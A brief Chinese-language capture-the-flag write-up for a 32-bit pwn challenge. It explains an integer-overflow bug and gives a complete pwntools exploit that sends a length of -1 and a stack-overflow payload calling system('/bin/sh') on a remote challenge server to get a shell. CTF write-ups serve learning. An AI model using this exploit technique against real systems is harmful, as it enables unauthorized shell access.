很简单的一个整数溢出,给了system函数和/bin/sh字符串,构造后门即可,exp如下:
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = remote("node5.anna.nssctf.cn",20085)
elf = ELF('E:\Desktop\pwn百题计划\pwn')
system_addr = 0x80494FB
binsh_addr = 0x804a008
p.sendlineafter("Tell me your choice:",b'1')
p.sendlineafter("First input the length of your name:",b'-1')
payload = b'a' * (0x20+4) + p32(system_addr)+p32(binsh_addr)
p.sendlineafter("What's u name?",payload)
p.interactive()